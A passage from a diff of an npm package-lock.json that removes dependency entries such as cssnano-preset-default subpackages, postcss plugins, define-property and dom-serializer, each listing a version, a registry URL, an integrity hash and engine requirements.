"https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-4.0.0.tgz", - "integrity": "sha1-Sgv4WXh4TPH4HtLBwf2dlkodofo=", - "dev": true, - "dependencies": { - "postcss": "^6.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss-merge-longhand": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-4.0.4.tgz", - "integrity": "sha512-wLi2u22mSdBDBjLF8pyaPCNppOmqb+B4O0Dlt/4nUwn79EltDUJmCeCDYqo7SB2z9puOHTftnxviY4J9xS+ygQ==", - "dev": true, - "dependencies": { - "css-color-names": "0.0.4", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0", - "stylehacks": "^4.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss-merge-rules": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-4.0.1.tgz", - "integrity": "sha1-Qw/Vmz8u0uivzQsxJ47aOYVKuxA=", - "dev": true, - "dependencies": { - "browserslist": "^4.0.0", - "caniuse-api": "^3.0.0", - "cssnano-util-same-parent": "^4.0.0", - "postcss": "^6.0.0", - "postcss-selector-parser": "^3.0.0", - "vendors": "^1.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss-merge-rules/node_modules/postcss-selector-parser": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-3.1.1.tgz", - "integrity": "sha1-T4dfSvsMllc9XPTXQBGu4lCn6GU=", - "dev": true, - "dependencies": { - "dot-prop": "^4.1.1", - "indexes-of": "^1.0.1", - "uniq": "^1.0.1" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss-minify-font-values": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-4.0.0.tgz", - "integrity": "sha1-TMM9KD1qgXWQNudX75gdksvYW+0=", - "dev": true, - "dependencies": { - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss-minify-gradients": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-4.0.0.tgz", - "integrity": "sha1-P8ORZDnSepu4Bm23za2AFlDrCQ4=", - "dev": true, - "dependencies": { - "cssnano-util-get-arguments": "^4.0.0", - "is-color-stop": "^1.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss-minify-params": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-4.0.0.tgz", - "integrity": "sha1-BekWbuSMBa9lGYnOhNOcG015BnQ=", - "dev": true, - "dependencies": { - "alphanum-sort": "^1.0.0", - "cssnano-util-get-arguments": "^4.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0", - "uniqs": "^2.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss-minify-selectors": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-4.0.0.tgz", - "integrity": "sha1-sen2xGNBbT/Nyybnt4XZX2FXiq0=", - "dev": true, - "dependencies": { - "alphanum-sort": "^1.0.0", - "has": "^1.0.0", - "postcss": "^6.0.0", - "postcss-selector-parser": "^3.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss-minify-selectors/node_modules/postcss-selector-parser": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-3.1.1.tgz", - "integrity": "sha1-T4dfSvsMllc9XPTXQBGu4lCn6GU=", - "dev": true, - "dependencies": { - "dot-prop": "^4.1.1", - "indexes-of": "^1.0.1", - "uniq": "^1.0.1" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss-normalize-charset": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-4.0.0.tgz", - "integrity": "sha1-JFJyknAtXoEp6vo9HeSe1RpqtzA=", - "dev": true, - "dependencies": { - "postcss": "^6.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss-normalize-url": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-4.0.0.tgz", - "integrity": "sha1-t6nIrSbPJmlMFG6y1ovQz0mVbw0=", - "dev": true, - "dependencies": { - "is-absolute-url": "^2.0.0", - "normalize-url": "^3.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss-ordered-values": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-4.0.0.tgz", - "integrity": "sha1-WLQMdPcuAi6zQVLBLksPk1RIL8I=", - "dev": true, - "dependencies": { - "cssnano-util-get-arguments": "^4.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss-reduce-initial": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-4.0.1.tgz", - "integrity": "sha1-8tWPUM6isMXcEnjW6l7Q/1gpwpM=", - "dev": true, - "dependencies": { - "browserslist": "^4.0.0", - "caniuse-api": "^3.0.0", - "has": "^1.0.0", - "postcss": "^6.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss-reduce-transforms": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-4.0.0.tgz", - "integrity": "sha1-9kX8dEDDUnT0DegQThStcWPt8Yg=", - "dev": true, - "dependencies": { - "cssnano-util-get-match": "^4.0.0", - "has": "^1.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss-svgo": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-4.0.0.tgz", - "integrity": "sha1-wLutAlIPxjbJ14sOhAPi5RXDIoU=", - "dev": true, - "dependencies": { - "is-svg": "^3.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0", - "svgo": "^1.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss-unique-selectors": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-4.0.0.tgz", - "integrity": "sha1-BMHpdkx1h0JhMDQCxB8Ol2n8VQE=", - "dev": true, - "dependencies": { - "alphanum-sort": "^1.0.0", - "postcss": "^6.0.0", - "uniqs": "^2.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/reduce-css-calc": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/reduce-css-calc/-/reduce-css-calc-2.1.4.tgz", - "integrity": "sha512-i/vWQbyd3aJRmip9OVSN9V6nIjLf/gg/ctxb0CpvHWtcRysFl/ngDBQD+rqavxdw/doScA3GMBXhzkHQ4GCzFQ==", - "dev": true, - "dependencies": { - "css-unit-converter": "^1.1.1", - "postcss-value-parser": "^3.3.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/cssnano-preset-default/node_modules/svgo": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/svgo/-/svgo-1.0.5.tgz", - "integrity": "sha512-nYrifviB77aNKDNKKyuay3M9aYiK6Hv5gJVDdjj2ZXTQmI8WZc8+UPLR5IpVlktJfSu3co/4XcWgrgI6seGBPg==", - "deprecated": "This SVGO version is no longer supported. Upgrade to v2.x.x.", - "dev": true, - "dependencies": { - "coa": "~2.0.1", - "colors": "~1.1.2", - "css-select": "~1.3.0-rc0", - "css-select-base-adapter": "~0.1.0", - "css-tree": "1.0.0-alpha25", - "css-url-regex": "^1.1.0", - "csso": "^3.5.0", - "js-yaml": "~3.10.0", - "mkdirp": "~0.5.1", - "object.values": "^1.0.4", - "sax": "~1.2.4", - "stable": "~0.1.6", - "unquote": "~1.1.1", - "util.promisify": "~1.0.0" - }, - "bin": { - "svgo": "bin/svgo" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/cssnano-util-get-arguments": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/cssnano-util-get-arguments/-/cssnano-util-get-arguments-4.0.0.tgz", - "integrity": "sha1-7ToIKZ8h11dBsg87gfGU7UnMFQ8=", - "dev": true, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-util-get-match": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/cssnano-util-get-match/-/cssnano-util-get-match-4.0.0.tgz", - "integrity": "sha1-wOTKB/U4a7F+xeUiULT1lhNlFW0=", - "dev": true, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-util-raw-cache": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/cssnano-util-raw-cache/-/cssnano-util-raw-cache-4.0.0.tgz", - "integrity": "sha1-vgooVuJfGF9feivMBiTii38Xmp8=", - "dev": true, - "dependencies": { - "postcss": "^6.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-util-raw-cache/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/cssnano-util-raw-cache/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/cssnano-util-raw-cache/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/cssnano-util-raw-cache/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/cssnano-util-raw-cache/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/cssnano-util-raw-cache/node_modules/postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "dependencies": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/cssnano-util-raw-cache/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/cssnano-util-raw-cache/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/cssnano-util-same-parent": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/cssnano-util-same-parent/-/cssnano-util-same-parent-4.0.0.tgz", - "integrity": "sha1-0qPeEDmqmLxOwlAB+gUDMMKhbaw=", - "dev": true, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/csso": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/csso/-/csso-2.3.2.tgz", - "integrity": "sha1-3dUsWHAz9J6Utx/FVWnyUuj/X4U=", - "dev": true, - "dependencies": { - "clap": "^1.0.9", - "source-map": "^0.5.3" - }, - "bin": { - "csso": "bin/csso" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/cucumber-expressions": { - "version": "6.6.2", - "resolved": "https://registry.npmjs.org/cucumber-expressions/-/cucumber-expressions-6.6.2.tgz", - "integrity": "sha512-WcFSVBiWNLJbIcAAC3t/ACU46vaOKfe1UIF5H3qveoq+Y4XQm9j3YwHurQNufRKBBg8nCnpU7Ttsx7egjS3hwA==", - "deprecated": "This package is now published under @cucumber/cucumber-expressions", - "dev": true, - "dependencies": { - "becke-ch--regex--s0-0-v1--base--pl--lib": "^1.2.0" - } - }, - "node_modules/currently-unhandled": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/currently-unhandled/-/currently-unhandled-0.4.1.tgz", - "integrity": "sha1-mI3zP+qxke95mmE2nddsF635V+o=", - "dev": true, - "dependencies": { - "array-find-index": "^1.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/cyclist": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/cyclist/-/cyclist-0.2.2.tgz", - "integrity": "sha1-GzN5LhHpFKL9bW7WRHRkRE5fpkA=", - "dev": true - }, - "node_modules/d": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/d/-/d-1.0.0.tgz", - "integrity": "sha1-dUu1v+VUUdpppYuU1F9MWwRi1Y8=", - "dev": true, - "dependencies": { - "es5-ext": "^0.10.9" - } - }, - "node_modules/dashdash": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", - "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", - "dev": true, - "dependencies": { - "assert-plus": "^1.0.0" - }, - "engines": { - "node": ">=0.10" - } - }, - "node_modules/date-now": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/date-now/-/date-now-0.1.4.tgz", - "integrity": "sha1-6vQ5/U1ISK105cx9vvIAZyueNFs=", - "dev": true - }, - "node_modules/dateformat": { - "version": "1.0.12", - "resolved": "https://registry.npmjs.org/dateformat/-/dateformat-1.0.12.tgz", - "integrity": "sha1-nxJLZ1lMk3/3BpMuSmQsyo27/uk=", - "dev": true, - "dependencies": { - "get-stdin": "^4.0.1", - "meow": "^3.3.0" - }, - "bin": { - "dateformat": "bin/cli.js" - }, - "engines": { - "node": "*" - } - }, - "node_modules/de-indent": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/de-indent/-/de-indent-1.0.2.tgz", - "integrity": "sha1-sgOOhG3DO6pXlhKNCAS0VbjB4h0=", - "dev": true - }, - "node_modules/debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/decamelize": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", - "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/decode-uri-component": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz", - "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=", - "dev": true, - "engines": { - "node": ">=0.10" - } - }, - "node_modules/decompress-response": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz", - "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=", - "dev": true, - "optional": true, - "dependencies": { - "mimic-response": "^1.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/deep-is": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.3.tgz", - "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=", - "dev": true - }, - "node_modules/define-properties": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.2.tgz", - "integrity": "sha1-g6c/L+pWmJj7c3GTyPhzyvbUXJQ=", - "dev": true, - "dependencies": { - "foreach": "^2.0.5", - "object-keys": "^1.0.8" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/define-property": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", - "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", - "dev": true, - "dependencies": { - "is-descriptor": "^1.0.2", - "isobject": "^3.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/define-property/node_modules/is-accessor-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", - "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", - "dev": true, - "dependencies": { - "kind-of": "^6.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/define-property/node_modules/is-data-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", - "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", - "dev": true, - "dependencies": { - "kind-of": "^6.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/define-property/node_modules/is-descriptor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", - "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", - "dev": true, - "dependencies": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/define-property/node_modules/isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/define-property/node_modules/kind-of": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", - "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/defined": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/defined/-/defined-1.0.0.tgz", - "integrity": "sha1-yY2bzvdWdBiOEQlpFRGZ45sfppM=", - "dev": true - }, - "node_modules/del": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/del/-/del-2.2.2.tgz", - "integrity": "sha1-wSyYHQZ4RshLyvhiz/kw2Qf/0ag=", - "dev": true, - "dependencies": { - "globby": "^5.0.0", - "is-path-cwd": "^1.0.0", - "is-path-in-cwd": "^1.0.0", - "object-assign": "^4.0.1", - "pify": "^2.0.0", - "pinkie-promise": "^2.0.0", - "rimraf": "^2.2.8" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/delayed-stream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=", - "dev": true, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/delegates": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", - "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o=", - "dev": true - }, - "node_modules/deps-sort": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/deps-sort/-/deps-sort-2.0.0.tgz", - "integrity": "sha1-CRckkC6EZYJg65EHSMzNGvbiH7U=", - "dev": true, - "dependencies": { - "JSONStream": "^1.0.3", - "shasum": "^1.0.0", - "subarg": "^1.0.0", - "through2": "^2.0.0" - }, - "bin": { - "deps-sort": "bin/cmd.js" - } - }, - "node_modules/des.js": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/des.js/-/des.js-1.0.0.tgz", - "integrity": "sha1-wHTS4qpqipoH29YfmhXCzYPsjsw=", - "dev": true, - "dependencies": { - "inherits": "^2.0.1", - "minimalistic-assert": "^1.0.0" - } - }, - "node_modules/detect-indent": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/detect-indent/-/detect-indent-4.0.0.tgz", - "integrity": "sha1-920GQ1LN9Docts5hnE7jqUdd4gg=", - "dev": true, - "dependencies": { - "repeating": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/detect-libc": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-0.2.0.tgz", - "integrity": "sha1-R/31ZzSKF+wl/L8LnkRjSKdvn7U=", - "dev": true, - "optional": true, - "bin": { - "detect-libc": "bin/detect-libc.js" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/detective": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/detective/-/detective-5.1.0.tgz", - "integrity": "sha512-TFHMqfOvxlgrfVzTEkNBSh9SvSNX/HfF4OFI2QFGCyPm02EsyILqnUeb5P6q7JZ3SFNTBL5t2sePRgrN4epUWQ==", - "dev": true, - "dependencies": { - "acorn-node": "^1.3.0", - "defined": "^1.0.0", - "minimist": "^1.1.1" - }, - "bin": { - "detective": "bin/detective.js" - }, - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/diff": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/diff/-/diff-3.3.1.tgz", - "integrity": "sha512-MKPHZDMB0o6yHyDryUOScqZibp914ksXwAMYMTHj6KO8UeKsRYNJD3oNCKjTqZon+V488P7N/HzXF8t7ZR95ww==", - "dev": true, - "engines": { - "node": ">=0.3.1" - } - }, - "node_modules/diffie-hellman": { - "version": "5.0.2", - "resolved": "https://registry.npmjs.org/diffie-hellman/-/diffie-hellman-5.0.2.tgz", - "integrity": "sha1-tYNXOScM/ias9jIJn97SoH8gnl4=", - "dev": true, - "dependencies": { - "bn.js": "^4.1.0", - "miller-rabin": "^4.0.0", - "randombytes": "^2.0.0" - } - }, - "node_modules/doctrine": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", - "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", - "dev": true, - "dependencies": { - "esutils": "^2.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/doctypes": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/doctypes/-/doctypes-1.1.0.tgz", - "integrity": "sha1-6oCxBqh1OHdOijpKWv4pPeSJ4Kk=", - "dev": true - }, - "node_modules/dom-serializer": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-0.1.0.tgz", - "integrity": "sha1-BzxpdUbOB4DOI75KKOKT5AvDDII=", - "dev": true, - "dependencies": { - "domelementtype": "~1.1.1", - "entities": "~1.1.1" - } - }, - "node_modules/dom-serializer/node_modules/domelementtype": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.1.3.tgz", - "integrity": "sha1-vSh3PiZCiBrsUVRJJCmcXNgiGFs=", - "dev": true - }, - "node_modules/dom-serializer/node_modules/entities": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/entities/-/entities-1.1.1.tgz", - "integrity": "sha1-blwtClYhtdra7O+AuQ7ftc13cvA=", - "dev": true - }, - "node_modules/domain-browser": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/domain-browser/-/domain-browser-1.2.0.tgz", - "integrity": "sha512-jnjyiM6eRyZl2H+W8Q/zLMA481hzi0eszAaBUzIVnmYVDBbnLxVNnfu1HgEBvCbL+71FrxMl3E6lpKH7Ge3OXA==", - "dev": true, - "engines": { - "node": ">=0.4", - "npm": ">=1.2" - } - }, - "node_modules/domelementtype": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.3.0.tgz", - "integrity": "sha1-sXrtguirWeUt2cGbF1bg/BhyBMI=", - "deprecated": "update to domelementtype@1.3.1", - "dev": true - }, - "node_modules/domhandler": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-2.3.0.tgz", - "integrity": "sha1-LeWaCCLVAn+r/28DLCsloqir5zg=", - "dev": true, - "dependencies": { - "domelementtype": "1" - } - }, - "node_modules/domutils": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.5.1.tgz", - "integrity": "sha1-3NhIiib1Y9YQeeSMn3t+Mjc2gs8=", - "dev": true, - "dependencies": { - "dom-serializer": "0", - "domelementtype": "1" - } - }, - "node_modules/dot-prop": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-4.2.0.tgz", - "integrity": "sha512-tUMXrxlExSW6U2EXiiKGSBVdYgtV8qlHL+C10TsW4PURY/ic+eaysnSkwB4kA/mBlCyy/IKDJ+Lc3wbWeaXtuQ==", - "dev": true, - "dependencies": { - "is-obj": "^1.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/due": { - "version": "0.0.18", - "resolved": "https://registry.npmjs.org/due/-/due-0.0.18.tgz", - "integrity": "sha1-11dpSqWj7A5hBDg4yEzo1x5KLgE=", - "dev": true - }, - "node_modules/duplexer2": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/duplexer2/-/duplexer2-0.1.4.tgz", - "integrity": "sha1-ixLauHjA1p4+eJEFFmKjL8a93ME=", - "dev": true, - "dependencies": { - "readable-stream": "^2.0.2" - } - }, - "node_modules/duplexify": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.6.0.tgz", - "integrity": "sha512-fO3Di4tBKJpYTFHAxTU00BcfWMY9w24r/x21a6rZRbsD/ToUgGxsMbiGRmB7uVAXeGKXD9MwiLZa5E97EVgIRQ==", - "dev": true, - "dependencies": { - "end-of-stream": "^1.0.0", - "inherits": "^2.0.1", - "readable-stream": "^2.0.0", - "stream-shift": "^1.0.0" - } - }, - "node_modules/ecc-jsbn": { - "version": "0.1.1", - "resolved": 